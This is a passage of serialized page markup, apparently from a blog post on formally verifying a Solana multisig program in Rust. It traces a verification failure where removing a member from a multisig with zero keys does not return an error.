as:",{"type":25,"tag":206,"props":30523,"children":30525},{"code":30524,"language":6908,"meta":7,"className":6909,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[30526],{"type":25,"tag":82,"props":30527,"children":30528},{"__ignoreMap":7},[30529,30536,30583,30590,30597,30644,30651],{"type":25,"tag":216,"props":30530,"children":30531},{"class":6916,"line":6917},[30532],{"type":25,"tag":216,"props":30533,"children":30534},{"style":6958},[30535],{"type":31,"value":28063},{"type":25,"tag":216,"props":30537,"children":30538},{"class":6916,"line":6763},[30539,30543,30547,30551,30555,30559,30563,30567,30571,30575,30579],{"type":25,"tag":216,"props":30540,"children":30541},{"style":6958},[30542],{"type":31,"value":24177},{"type":25,"tag":216,"props":30544,"children":30545},{"style":6947},[30546],{"type":31,"value":179},{"type":25,"tag":216,"props":30548,"children":30549},{"style":6958},[30550],{"type":31,"value":18626},{"type":25,"tag":216,"props":30552,"children":30553},{"style":6947},[30554],{"type":31,"value":179},{"type":25,"tag":216,"props":30556,"children":30557},{"style":6958},[30558],{"type":31,"value":27756},{"type":25,"tag":216,"props":30560,"children":30561},{"style":6947},[30562],{"type":31,"value":179},{"type":25,"tag":216,"props":30564,"children":30565},{"style":6958},[30566],{"type":31,"value":24937},{"type":25,"tag":216,"props":30568,"children":30569},{"style":6947},[30570],{"type":31,"value":179},{"type":25,"tag":216,"props":30572,"children":30573},{"style":6958},[30574],{"type":31,"value":24975},{"type":25,"tag":216,"props":30576,"children":30577},{"style":6947},[30578],{"type":31,"value":5896},{"type":25,"tag":216,"props":30580,"children":30581},{"style":6958},[30582],{"type":31,"value":23396},{"type":25,"tag":216,"props":30584,"children":30585},{"class":6916,"line":6772},[30586],{"type":25,"tag":216,"props":30587,"children":30588},{"style":6958},[30589],{"type":31,"value":24212},{"type":25,"tag":216,"props":30591,"children":30592},{"class":6916,"line":6999},[30593],{"type":25,"tag":216,"props":30594,"children":30595},{"style":6958},[30596],{"type":31,"value":24169},{"type":25,"tag":216,"props":30598,"children":30599},{"class":6916,"line":7104},[30600,30604,30608,30612,30616,30620,30624,30628,30632,30636,30640],{"type":25,"tag":216,"props":30601,"children":30602},{"style":6958},[30603],{"type":31,"value":24177},{"type":25,"tag":216,"props":30605,"children":30606},{"style":6947},[30607],{"type":31,"value":179},{"type":25,"tag":216,"props":30609,"children":30610},{"style":6958},[30611],{"type":31,"value":18626},{"type":25,"tag":216,"props":30613,"children":30614},{"style":6947},[30615],{"type":31,"value":179},{"type":25,"tag":216,"props":30617,"children":30618},{"style":6958},[30619],{"type":31,"value":27756},{"type":25,"tag":216,"props":30621,"children":30622},{"style":6947},[30623],{"type":31,"value":179},{"type":25,"tag":216,"props":30625,"children":30626},{"style":6958},[30627],{"type":31,"value":24937},{"type":25,"tag":216,"props":30629,"children":30630},{"style":6947},[30631],{"type":31,"value":179},{"type":25,"tag":216,"props":30633,"children":30634},{"style":6958},[30635],{"type":31,"value":24975},{"type":25,"tag":216,"props":30637,"children":30638},{"style":6947},[30639],{"type":31,"value":23368},{"type":25,"tag":216,"props":30641,"children":30642},{"style":6958},[30643],{"type":31,"value":23396},{"type":25,"tag":216,"props":30645,"children":30646},{"class":6916,"line":7210},[30647],{"type":25,"tag":216,"props":30648,"children":30649},{"style":6958},[30650],{"type":31,"value":24212},{"type":25,"tag":216,"props":30652,"children":30653},{"class":6916,"line":7238},[30654,30658,30662,30666,30670,30674,30678],{"type":25,"tag":216,"props":30655,"children":30656},{"style":6930},[30657],{"type":31,"value":24220},{"type":25,"tag":216,"props":30659,"children":30660},{"style":7041},[30661],{"type":31,"value":29717},{"type":25,"tag":216,"props":30663,"children":30664},{"style":6958},[30665],{"type":31,"value":1844},{"type":25,"tag":216,"props":30667,"children":30668},{"style":6947},[30669],{"type":31,"value":13541},{"type":25,"tag":216,"props":30671,"children":30672},{"style":6958},[30673],{"type":31,"value":27940},{"type":25,"tag":216,"props":30675,"children":30676},{"style":6947},[30677],{"type":31,"value":13541},{"type":25,"tag":216,"props":30679,"children":30680},{"style":6958},[30681],{"type":31,"value":13546},{"type":25,"tag":38,"props":30683,"children":30684},{},[30685,30687,30692],{"type":31,"value":30686},"Let's test this, we just need to run the new ",{"type":25,"tag":82,"props":30688,"children":30690},{"className":30689},[],[30691],{"type":31,"value":24116},{"type":31,"value":30693}," harness:",{"type":25,"tag":206,"props":30695,"children":30697},{"code":30696},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[30698],{"type":25,"tag":82,"props":30699,"children":30700},{"__ignoreMap":7},[30701],{"type":31,"value":30696},{"type":25,"tag":38,"props":30703,"children":30704},{},[30705],{"type":31,"value":30706},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":25,"tag":206,"props":30708,"children":30710},{"code":30709,"language":6908,"meta":7,"className":6909,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[30711],{"type":25,"tag":82,"props":30712,"children":30713},{"__ignoreMap":7},[30714,30725,30744,30763,30782,30801,30820,30839,30858,30877,30896,30916,30935,30942,30949,30976],{"type":25,"tag":216,"props":30715,"children":30716},{"class":6916,"line":6917},[30717,30721],{"type":25,"tag":216,"props":30718,"children":30719},{"style":7369},[30720],{"type":31,"value":21098},{"type":25,"tag":216,"props":30722,"children":30723},{"style":6958},[30724],{"type":31,"value":7235},{"type":25,"tag":216,"props":30726,"children":30727},{"class":6916,"line":6763},[30728,30732,30736,30740],{"type":25,"tag":216,"props":30729,"children":30730},{"style":6941},[30731],{"type":31,"value":29123},{"type":25,"tag":216,"props":30733,"children":30734},{"style":6947},[30735],{"type":31,"value":1466},{"type":25,"tag":216,"props":30737,"children":30738},{"style":7369},[30739],{"type":31,"value":25110},{"type":25,"tag":216,"props":30741,"children":30742},{"style":6958},[30743],{"type":31,"value":7235},{"type":25,"tag":216,"props":30745,"children":30746},{"class":6916,"line":6772},[30747,30751,30755,30759],{"type":25,"tag":216,"props":30748,"children":30749},{"style":6941},[30750],{"type":31,"value":27777},{"type":25,"tag":216,"props":30752,"children":30753},{"style":6947},[30754],{"type":31,"value":1466},{"type":25,"tag":216,"props":30756,"children":30757},{"style":6983},[30758],{"type":31,"value":6986},{"type":25,"tag":216,"props":30760,"children":30761},{"style":6958},[30762],{"type":31,"value":7459},{"type":25,"tag":216,"props":30764,"children":30765},{"class":6916,"line":6999},[30766,30770,30774,30778],{"type":25,"tag":216,"props":30767,"children":30768},{"style":6941},[30769],{"type":31,"value":29163},{"type":25,"tag":216,"props":30771,"children":30772},{"style":6947},[30773],{"type":31,"value":1466},{"type":25,"tag":216,"props":30775,"children":30776},{"style":6983},[30777],{"type":31,"value":6986},{"type":25,"tag":216,"props":30779,"children":30780},{"style":6958},[30781],{"type":31,"value":7459},{"type":25,"tag":216,"props":30783,"children":30784},{"class":6916,"line":7104},[30785,30789,30793,30797],{"type":25,"tag":216,"props":30786,"children":30787},{"style":6941},[30788],{"type":31,"value":29183},{"type":25,"tag":216,"props":30790,"children":30791},{"style":6947},[30792],{"type":31,"value":1466},{"type":25,"tag":216,"props":30794,"children":30795},{"style":6983},[30796],{"type":31,"value":6986},{"type":25,"tag":216,"props":30798,"children":30799},{"style":6958},[30800],{"type":31,"value":7459},{"type":25,"tag":216,"props":30802,"children":30803},{"class":6916,"line":7210},[30804,30808,30812,30816],{"type":25,"tag":216,"props":30805,"children":30806},{"style":6941},[30807],{"type":31,"value":29203},{"type":25,"tag":216,"props":30809,"children":30810},{"style":6947},[30811],{"type":31,"value":1466},{"type":25,"tag":216,"props":30813,"children":30814},{"style":6983},[30815],{"type":31,"value":6986},{"type":25,"tag":216,"props":30817,"children":30818},{"style":6958},[30819],{"type":31,"value":7459},{"type":25,"tag":216,"props":30821,"children":30822},{"class":6916,"line":7238},[30823,30827,30831,30835],{"type":25,"tag":216,"props":30824,"children":30825},{"style":6941},[30826],{"type":31,"value":29223},{"type":25,"tag":216,"props":30828,"children":30829},{"style":6947},[30830],{"type":31,"value":1466},{"type":25,"tag":216,"props":30832,"children":30833},{"style":6983},[30834],{"type":31,"value":6986},{"type":25,"tag":216,"props":30836,"children":30837},{"style":6958},[30838],{"type":31,"value":7459},{"type":25,"tag":216,"props":30840,"children":30841},{"class":6916,"line":7251},[30842,30846,30850,30854],{"type":25,"tag":216,"props":30843,"children":30844},{"style":6941},[30845],{"type":31,"value":27790},{"type":25,"tag":216,"props":30847,"children":30848},{"style":6947},[30849],{"type":31,"value":1466},{"type":25,"tag":216,"props":30851,"children":30852},{"style":6947},[30853],{"type":31,"value":29251},{"type":25,"tag":216,"props":30855,"children":30856},{"style":6958},[30857],{"type":31,"value":7459},{"type":25,"tag":216,"props":30859,"children":30860},{"class":6916,"line":7269},[30861,30865,30869,30873],{"type":25,"tag":216,"props":30862,"children":30863},{"style":6941},[30864],{"type":31,"value":29263},{"type":25,"tag":216,"props":30866,"children":30867},{"style":6947},[30868],{"type":31,"value":1466},{"type":25,"tag":216,"props":30870,"children":30871},{"style":6930},[30872],{"type":31,"value":13006},{"type":25,"tag":216,"props":30874,"children":30875},{"style":6958},[30876],{"type":31,"value":7459},{"type":25,"tag":216,"props":30878,"children":30879},{"class":6916,"line":7290},[30880,30884,30888,30892],{"type":25,"tag":216,"props":30881,"children":30882},{"style":6941},[30883],{"type":31,"value":29283},{"type":25,"tag":216,"props":30885,"children":30886},{"style":6947},[30887],{"type":31,"value":1466},{"type":25,"tag":216,"props":30889,"children":30890},{"style":7369},[30891],{"type":31,"value":25343},{"type":25,"tag":216,"props":30893,"children":30894},{"style":6958},[30895],{"type":31,"value":7235},{"type":25,"tag":216,"props":30897,"children":30898},{"class":6916,"line":7299},[30899,30904,30908,30912],{"type":25,"tag":216,"props":30900,"children":30901},{"style":6941},[30902],{"type":31,"value":30903},"            data",{"type":25,"tag":216,"props":30905,"children":30906},{"style":6947},[30907],{"type":31,"value":1466},{"type":25,"tag":216,"props":30909,"children":30910},{"style":6947},[30911],{"type":31,"value":29251},{"type":25,"tag":216,"props":30913,"children":30914},{"style":6958},[30915],{"type":31,"value":7459},{"type":25,"tag":216,"props":30917,"children":30918},{"class":6916,"line":7551},[30919,30923,30927,30931],{"type":25,"tag":216,"props":30920,"children":30921},{"style":6941},[30922],{"type":31,"value":29304},{"type":25,"tag":216,"props":30924,"children":30925},{"style":6947},[30926],{"type":31,"value":1466},{"type":25,"tag":216,"props":30928,"children":30929},{"style":6983},[30930],{"type":31,"value":6986},{"type":25,"tag":216,"props":30932,"children":30933},{"style":6958},[30934],{"type":31,"value":7459},{"type":25,"tag":216,"props":30936,"children":30937},{"class":6916,"line":7568},[30938],{"type":25,"tag":216,"props":30939,"children":30940},{"style":6958},[30941],{"type":31,"value":29325},{"type":25,"tag":216,"props":30943,"children":30944},{"class":6916,"line":7585},[30945],{"type":25,"tag":216,"props":30946,"children":30947},{"style":6958},[30948],{"type":31,"value":29333},{"type":25,"tag":216,"props":30950,"children":30951},{"class":6916,"line":7598},[30952,30956,30960,30964,30968,30972],{"type":25,"tag":216,"props":30953,"children":30954},{"style":6941},[30955],{"type":31,"value":29341},{"type":25,"tag":216,"props":30957,"children":30958},{"style":6947},[30959],{"type":31,"value":1466},{"type":25,"tag":216,"props":30961,"children":30962},{"style":7369},[30963],{"type":31,"value":29350},{"type":25,"tag":216,"props":30965,"children":30966},{"style":6958},[30967],{"type":31,"value":13536},{"type":25,"tag":216,"props":30969,"children":30970},{"style":6947},[30971],{"type":31,"value":13541},{"type":25,"tag":216,"props":30973,"children":30974},{"style":6958},[30975],{"type":31,"value":29363},{"type":25,"tag":216,"props":30977,"children":30978},{"class":6916,"line":7607},[30979],{"type":25,"tag":216,"props":30980,"children":30981},{"style":6958},[30982],{"type":31,"value":7868},{"type":25,"tag":38,"props":30984,"children":30985},{},[30986],{"type":31,"value":30987},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":25,"tag":38,"props":30989,"children":30990},{},[30991,30993,30999],{"type":31,"value":30992},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":25,"tag":82,"props":30994,"children":30996},{"className":30995},[],[30997],{"type":31,"value":30998},"Ms::remove_member",{"type":31,"value":1466},{"type":25,"tag":206,"props":31001,"children":31003},{"code":31002,"language":6908,"meta":7,"className":6909,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[31004],{"type":25,"tag":82,"props":31005,"children":31006},{"__ignoreMap":7},[31007,31066,31097,31104],{"type":25,"tag":216,"props":31008,"children":31009},{"class":6916,"line":6917},[31010,31014,31018,31022,31026,31030,31034,31038,31042,31046,31050,31054,31058,31062],{"type":25,"tag":216,"props":31011,"children":31012},{"style":6967},[31013],{"type":31,"value":19531},{"type":25,"tag":216,"props":31015,"children":31016},{"style":6941},[31017],{"type":31,"value":29795},{"type":25,"tag":216,"props":31019,"children":31020},{"style":6947},[31021],{"type":31,"value":179},{"type":25,"tag":216,"props":31023,"children":31024},{"style":6958},[31025],{"type":31,"value":18626},{"type":25,"tag":216,"props":31027,"children":31028},{"style":6947},[31029],{"type":31,"value":179},{"type":25,"tag":216,"props":31031,"children":31032},{"style":6958},[31033],{"type":31,"value":27756},{"type":25,"tag":216,"props":31035,"children":31036},{"style":6947},[31037],{"type":31,"value":179},{"type":25,"tag":216,"props":31039,"children":31040},{"style":6958},[31041],{"type":31,"value":24937},{"type":25,"tag":216,"props":31043,"children":31044},{"style":6947},[31045],{"type":31,"value":179},{"type":25,"tag":216,"props":31047,"children":31048},{"style":7041},[31049],{"type":31,"value":13088},{"type":25,"tag":216,"props":31051,"children":31052},{"style":6958},[31053],{"type":31,"value":17994},{"type":25,"tag":216,"props":31055,"children":31056},{"style":6947},[31057],{"type":31,"value":12522},{"type":25,"tag":216,"props":31059,"children":31060},{"style":6983},[31061],{"type":31,"value":8465},{"type":25,"tag":216,"props":31063,"children":31064},{"style":6958},[31065],{"type":31,"value":7235},{"type":25,"tag":216,"props":31067,"children":31068},{"class":6916,"line":6763},[31069,31073,31077,31081,31085,31089,31093],{"type":25,"tag":216,"props":31070,"children":31071},{"style":6967},[31072],{"type":31,"value":20941},{"type":25,"tag":216,"props":31074,"children":31075},{"style":7041},[31076],{"type":31,"value":27459},{"type":25,"tag":216,"props":31078,"children":31079},{"style":6958},[31080],{"type":31,"value":1844},{"type":25,"tag":216,"props":31082,"children":31083},{"style":7369},[31084],{"type":31,"value":27468},{"type":25,"tag":216,"props":31086,"children":31087},{"style":6947},[31088],{"type":31,"value":7432},{"type":25,"tag":216,"props":31090,"children":31091},{"style":7369},[31092],{"type":31,"value":29871},{"type":25,"tag":216,"props":31094,"children":31095},{"style":6958},[31096],{"type":31,"value":7791},{"type":25,"tag":216,"props":31098,"children":31099},{"class":6916,"line":6772},[31100],{"type":25,"tag":216,"props":31101,"children":31102},{"style":6958},[31103],{"type":31,"value":7868},{"type":25,"tag":216,"props":31105,"children":31106},{"class":6916,"line":6999},[31107,31111,31115,31119,31123,31127,31131,31135,31139,31143,31147,31151],{"type":25,"tag":216,"props":31108,"children":31109},{"style":6941},[31110],{"type":31,"value":24234},{"type":25,"tag":216,"props":31112,"children":31113},{"style":6947},[31114],{"type":31,"value":179},{"type":25,"tag":216,"props":31116,"children":31117},{"style":6958},[31118],{"type":31,"value":18626},{"type":25,"tag":216,"props":31120,"children":31121},{"style":6947},[31122],{"type":31,"value":179},{"type":25,"tag":216,"props":31124,"children":31125},{"style":6958},[31126],{"type":31,"value":27756},{"type":25,"tag":216,"props":31128,"children":31129},{"style":6947},[31130],{"type":31,"value":179},{"type":25,"tag":216,"props":31132,"children":31133},{"style":7041},[31134],{"type":31,"value":29418},{"type":25,"tag":216,"props":31136,"children":31137},{"style":6958},[31138],{"type":31,"value":1844},{"type":25,"tag":216,"props":31140,"children":31141},{"style":6941},[31142],{"type":31,"value":29751},{"type":25,"tag":216,"props":31144,"children":31145},{"style":6958},[31146],{"type":31,"value":1882},{"type":25,"tag":216,"props":31148,"children":31149},{"style":6947},[31150],{"type":31,"value":605},{"type":25,"tag":216,"props":31152,"children":31153},{"style":6958},[31154],{"type":31,"value":6961},{"type":25,"tag":38,"props":31156,"children":31157},{},[31158,31160,31166,31168,31174],{"type":31,"value":31159},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":25,"tag":82,"props":31161,"children":31163},{"className":31162},[],[31164],{"type":31,"value":31165},"Ms::is_member",{"type":31,"value":31167},") and if it is not, it simply skips the removal and returns ",{"type":25,"tag":82,"props":31169,"children":31171},{"className":31170},[],[31172],{"type":31,"value":31173},"Ok(())",{"type":31,"value":179},{"type":25,"tag":206,"props":31176,"children":31178},{"code":31177,"language":6908,"meta":7,"className":6909,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[31179],{"type":25,"tag":82,"props":31180,"children":31181},{"__ignoreMap":7},[31182,31246,31305,31342,31401,31469,31476,31483,31494],{"type":25,"tag":216,"props":31183,"children":31184},{"class":6916,"line":6917},[31185,31189,31193,31197,31201,31205,31209,31213,31217,31222,31226,31230,31234,31238,31242],{"type":25,"tag":216,"props":31186,"children":31187},{"style":6930},[31188],{"type":31,"value":17641},{"type":25,"tag":216,"props":31190,"children":31191},{"style":6930},[31192],{"type":31,"value":17646},{"type":25,"tag":216,"props":31194,"children":31195},{"style":7041},[31196],{"type":31,"value":29717},{"type":25,"tag":216,"props":31198,"children":31199},{"style":6958},[31200],{"type":31,"value":1844},{"type":25,"tag":216,"props":31202,"children":31203},{"style":6947},[31204],{"type":31,"value":7053},{"type":25,"tag":216,"props":31206,"children":31207},{"style":6930},[31208],{"type":31,"value":7685},{"type":25,"tag":216,"props":31210,"children":31211},{"style":6930},[31212],{"type":31,"value":17748},{"type":25,"tag":216,"props":31214,"children":31215},{"style":6958},[31216],{"type":31,"value":7020},{"type":25,"tag":216,"props":31218,"children":31219},{"style":6941},[31220],{"type":31,"value":31221},"member",{"type":25,"tag":216,"props":31223,"children":31224},{"style":6947},[31225],{"type":31,"value":1466},{"type":25,"tag":216,"props":31227,"children":31228},{"style":7369},[31229],{"type":31,"value":24811},{"type":25,"tag":216,"props":31231,"children":31232},{"style":6958},[31233],{"type":31,"value":7030},{"type":25,"tag":216,"props":31235,"children":31236},{"style":6947},[31237],{"type":31,"value":17708},{"type":25,"tag":216,"props":31239,"children":31240},{"style":7369},[31241],{"type":31,"value":17713},{"type":25,"tag":216,"props":31243,"children":31244},{"style":6958},[31245],{"type":31,"value":24285},{"type":25,"tag":216,"props":31247,"children":31248},{"class":6916,"line":6763},[31249,31253,31258,31263,31267,31272,31276,31280,31284,31288,31293,31297,31301],{"type":25,"tag":216,"props":31250,"children":31251},{"style":6967},[31252],{"type":31,"value":16229},{"type":25,"tag":216,"props":31254,"children":31255},{"style":6930},[31256],{"type":31,"value":31257}," let",{"type":25,"tag":216,"props":31259,"children":31260},{"style":7369},[31261],{"type":31,"value":31262}," Some",{"type":25,"tag":216,"props":31264,"children":31265},{"style":6958},[31266],{"type":31,"value":1844},{"type":25,"tag":216,"props":31268,"children":31269},{"style":6941},[31270],{"type":31,"value":31271},"ind",{"type":25,"tag":216,"props":31273,"children":31274},{"style":6958},[31275],{"type":31,"value":7030},{"type":25,"tag":216,"props":31277,"children":31278},{"style":6947},[31279],{"type":31,"value":266},{"type":25,"tag":216,"props":31281,"children":31282},{"style":6930},[31283],{"type":31,"value":17748},{"type":25,"tag":216,"props":31285,"children":31286},{"style":6947},[31287],{"type":31,"value":179},{"type":25,"tag":216,"props":31289,"children":31290},{"style":7041},[31291],{"type":31,"value":31292},"is_member",{"type":25,"tag":216,"props":31294,"children":31295},{"style":6958},[31296],{"type":31,"value":1844},{"type":25,"tag":216,"props":31298,"children":31299},{"style":6941},[31300],{"type":31,"value":31221},{"type":25,"tag":216,"props":31302,"children":31303},{"style":6958},[31304],{"type":31,"value":18755},{"type":25,"tag":216,"props":31306,"children":31307},{"class":6916,"line":6772},[31308,31313,31317,31321,31325,31330,31334,31338],{"type":25,"tag":216,"props":31309,"children":31310},{"style":6930},[31311],{"type":31,"value":31312},"        self",{"type":25,"tag":216,"props":31314,"children":31315},{"style":6947},[31316],{"type":31,"value":179},{"type":25,"tag":216,"props":31318,"children":31319},{"style":6958},[31320],{"type":31,"value":24937},{"type":25,"tag":216,"props":31322,"children":31323},{"style":6947},[31324],{"type":31,"value":179},{"type":25,"tag":216,"props":31326,"children":31327},{"style":7041},[31328],{"type":31,"value":31329},"remove",{"type":25,"tag":216,"props":31331,"children":31332},{"style":6958},[31333],{"type":31,"value":1844},{"type":25,"tag":216,"props":31335,"children":31336},{"style":6941},[31337],{"type":31,"value":31271},{"type":25,"tag":216,"props":31339,"children":31340},{"style":6958},[31341],{"type":31,"value":7791},{"type":25,"tag":216,"props":31343,"children":31344},{"class":6916,"line":6999},[31345,31349,31353,31357,31361,31365,31369,31373,31377,31381,31385,31389,31393,31397],{"type":25,"tag":216,"props":31346,"children":31347},{"style":6967},[31348],{"type":31,"value":7216},{"type":25,"tag":216,"props":31350,"children":31351},{"style":6930},[31352],{"type":31,"value":17748},{"type":25,"tag":216,"props":31354,"children":31355},{"style":6947},[31356],{"type":31,"value":179},{"type":25,"tag":216,"props":31358,"children":31359},{"style":6958},[31360],{"type":31,"value":24937},{"type":25,"tag":216,"props":31362,"children":31363},{"style":6947},[31364],{"type":31,"value":179},{"type":25,"tag":216,"props":31366,"children":31367},{"style":7041},[31368],{"type":31,"value":13088},{"type":25,"tag":216,"props":31370,"children":31371},{"style":6958},[31372],{"type":31,"value":29996},{"type":25,"tag":216,"props":31374,"children":31375},{"style":7369},[31376],{"type":31,"value":20554},{"type":25,"tag":216,"props":31378,"children":31379},{"style":6947},[31380],{"type":31,"value":7432},{"type":25,"tag":216,"props":31382,"children":31383},{"style":7041},[31384],{"type":31,"value":23427},{"type":25,"tag":216,"props":31386,"children":31387},{"style":6958},[31388],{"type":31,"value":1844},{"type":25,"tag":216,"props":31390,"children":31391},{"style":6930},[31392],{"type":31,"value":17664},{"type":25,"tag":216,"props":31394,"children":31395},{"style":6947},[31396],{"type":31,"value":179},{"type":25,"tag":216,"props":31398,"children":31399},{"style":6958},[31400],{"type":31,"value":30041},{"type":25,"tag":216,"props":31402,"children":31403},{"class":6916,"line":7104},[31404,31409,31413,31417,31421,31425,31429,31433,31437,31441,31445,31449,31453,31457,31461,31465],{"type":25,"tag":216,"props":31405,"children":31406},{"style":6930},[31407],{"type":31,"value":31408},"            self",{"type":25,"tag":216,"props":31410,"children":31411},{"style":6947},[31412],{"type":31,"value":179},{"type":25,"tag":216,"props":31414,"children":31415},{"style":6958},[31416],{"type":31,"value":25025},{"type":25,"tag":216,"props":31418,"children":31419},{"style":6947},[31420],{"type":31,"value":266},{"type":25,"tag":216,"props":31422,"children":31423},{"style":6930},[31424],{"type":31,"value":17748},{"type":25,"tag":216,"props":31426,"children":31427},{"style":6947},[31428],{"type":31,"value":179},{"type":25,"tag":216,"props":31430,"children":31431},{"style":6958},[31432],{"type":31,"value":24937},{"type":25,"tag":216,"props":31434,"children":31435},{"style":6947},[31436],{"type":31,"value":179},{"type":25,"tag":216,"props":31438,"children":31439},{"style":7041},[31440],{"type":31,"value":13088},{"type":25,"tag":216,"props":31442,"children":31443},{"style":6958},[31444],{"type":31,"value":17830},{"type":25,"tag":216,"props":31446,"children":31447},{"style":6947},[31448],{"type":31,"value":179},{"type":25,"tag":216,"props":31450,"children":31451},{"style":7041},[31452],{"type":31,"value":30114},{"type":25,"tag":216,"props":31454,"children":31455},{"style":6958},[31456],{"type":31,"value":17830},{"type":25,"tag":216,"props":31458,"children":31459},{"style":6947},[31460],{"type":31,"value":179},{"type":25,"tag":216,"props":31462,"children":31463},{"style":7041},[31464],{"type":31,"value":7622},{"type":25,"tag":216,"props":31466,"children":31467},{"style":6958},[31468],{"type":31,"value":7627},{"type":25,"tag":216,"props":31470,"children":31471},{"class":6916,"line":7210},[31472],{"type":25,"tag":216,"props":31473,"children":31474},{"style":6958},[31475],{"type":31,"value":7296},{"type":25,"tag":216,"props":31477,"children":31478},{"class":6916,"line":7238},[31479],{"type":25,"tag":216,"props":31480,"children":31481},{"style":6958},[31482],{"type":31,"value":7305},{"type":25,"tag":216,"props":31484,"children":31485},{"class":6916,"line":7251},[31486,31490],{"type":25,"tag":216,"props":31487,"children":31488},{"style":7369},[31489],{"type":31,"value":18284},{"type":25,"tag":216,"props":31491,"children":31492},{"style":6958},[31493],{"type":31,"value":18289},{"type":25,"tag":216,"props":31495,"children":31496},{"class":6916,"line":7269},[31497],{"type":25,"tag":216,"props":31498,"children":31499},{"style":6958},[31500],{"type":31,"value":7868},{"type":25,"tag":38,"props":31502,"children":31503},{},[31504,31506,31511,31513,31519,31521,31527,31529,31534],{"type":31,"value":31505},"Inside ",{"type":25,"tag":82,"props":31507,"children":31509},{"className":31508},[],[31510],{"type":31,"value":31165},{"type":31,"value":31512},", we see that it performs a ",{"type":25,"tag":82,"props":31514,"children":31516},{"className":31515},[],[31517],{"type":31,"value":31518},"binary_search",{"type":31,"value":31520}," on the keys vec and returns the index or ",{"type":25,"tag":82,"props":31522,"children":31524},{"className":31523},[],[31525],{"type":31,"value":31526},"None",{"type":31,"value":31528},". Since the vec has size zero, this will just return ",{"type":25,"tag":82,"props":31530,"children":31532},{"className":31531},[],[31533],{"type":31,"value":31526},{"type":31,"value":179},{"type":25,"tag":206,"props":31536,"children":31538},{"code":31537,"language":6908,"meta":7,"className":6909,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[31539],{"type":25,"tag":82,"props":31540,"children":31541},{"__ignoreMap":7},[31542,31611,31654,31693,31715,31722],{"type":25,"tag":216,"props":31543,"children":31544},{"class":6916,"line":6917},[31545,31549,31553,31558,31562,31566,31570,31574,31578,31582,31586,31590,31594,31599,31603,31607],{"type":25,"tag":216,"props":31546,"children":31547},{"style":6930},[31548],{"type":31,"value":17641},{"type":25,"tag":216,"props":31550,"children":31551},{"style":6930},[31552],{"type":31,"value":17646},{"type":25,"tag":216,"props":31554,"children":31555},{"style":7041},[31556],{"type":31,"value":31557}," is_member",{"type":25,"tag":216,"props":31559,"children":31560},{"style":6958},[31561],{"type":31,"value":1844},{"type":25,"tag":216,"props":31563,"children":31564},{"style":6947},[31565],{"type":31,"value":7053},{"type":25,"tag":216,"props":31567,"children":31568},{"style":6930},[31569],{"type":31,"value":17664},{"type":25,"tag":216,"props":31571,"children":31572},{"style":6958},[31573],{"type":31,"value":7020},{"type":25,"tag":216,"props":31575,"children":31576},{"style":6941},[31577],{"type":31,"value":31221},{"type":25,"tag":216,"props":31579,"children":31580},{"style":6947},[31581],{"type":31,"value":1466},{"type":25,"tag":216,"props":31583,"children":31584},{"style":7369},[31585],{"type":31,"value":24811},{"type":25,"tag":216,"props":31587,"children":31588},{"style":6958},[31589],{"type":31,"value":7030},{"type":25,"tag":216,"props":31591,"children":31592},{"style":6947},[31593],{"type":31,"value":17708},{"type":25,"tag":216,"props":31595,"children":31596},{"style":7369},[31597],{"type":31,"value":31598}," Option",{"type":25,"tag":216,"props":31600,"children":31601},{"style":6958},[31602],{"type":31,"value":9751},{"type":25,"tag":216,"props":31604,"children":31605},{"style":7369},[31606],{"type":31,"value":20554},{"type":25,"tag":216,"props":31608,"children":31609},{"style":6958},[31610],{"type":31,"value":11227},{"type":25,"tag":216,"props":31612,"children":31613},{"class":6916,"line":6763},[31614,31618,31622,31626,31630,31634,31638,31642,31646,31650],{"type":25,"tag":216,"props":31615,"children":31616},{"style":6967},[31617],{"type":31,"value":18704},{"type":25,"tag":216,"props":31619,"children":31620},{"style":6930},[31621],{"type":31,"value":17748},{"type":25,"tag":216,"props":31623,"children":31624},{"style":6947},[31625],{"type":31,"value":179},{"type":25,"tag":216,"props":31627,"children":31628},{"style":6958},[31629],{"type":31,"value":24937},{"type":25,"tag":216,"props":31631,"children":31632},{"style":6947},[31633],{"type":31,"value":179},{"type":25,"tag":216,"props":31635,"children":31636},{"style":7041},[31637],{"type":31,"value":31518},{"type":25,"tag":216,"props":31639,"children":31640},{"style":6958},[31641],{"type":31,"value":1844},{"type":25,"tag":216,"props":31643,"children":31644},{"style":6947},[31645],{"type":31,"value":7053},{"type":25,"tag":216,"props":31647,"children":31648},{"style":6941},[31649],{"type":31,"value":31221},{"type":25,"tag":216,"props":31651,"children":31652},{"style":6958},[31653],{"type":31,"value":18755},{"type":25,"tag":216,"props":31655,"children":31656},{"class":6916,"line":6772},[31657,31661,31665,31669,31673,31677,31681,31685,31689],{"type":25,"tag":216,"props":31658,"children":31659},{"style":7369},[31660],{"type":31,"value":18763},{"type":25,"tag":216,"props":31662,"children":31663},{"style":6958},[31664],{"type":31,"value":1844},{"type":25,"tag":216,"props":31666,"children":31667},{"style":6941},[31668],{"type":31,"value":31271},{"type":25,"tag":216,"props":31670,"children":31671},{"style":6958},[31672],{"type":31,"value":7030},{"type":25,"ta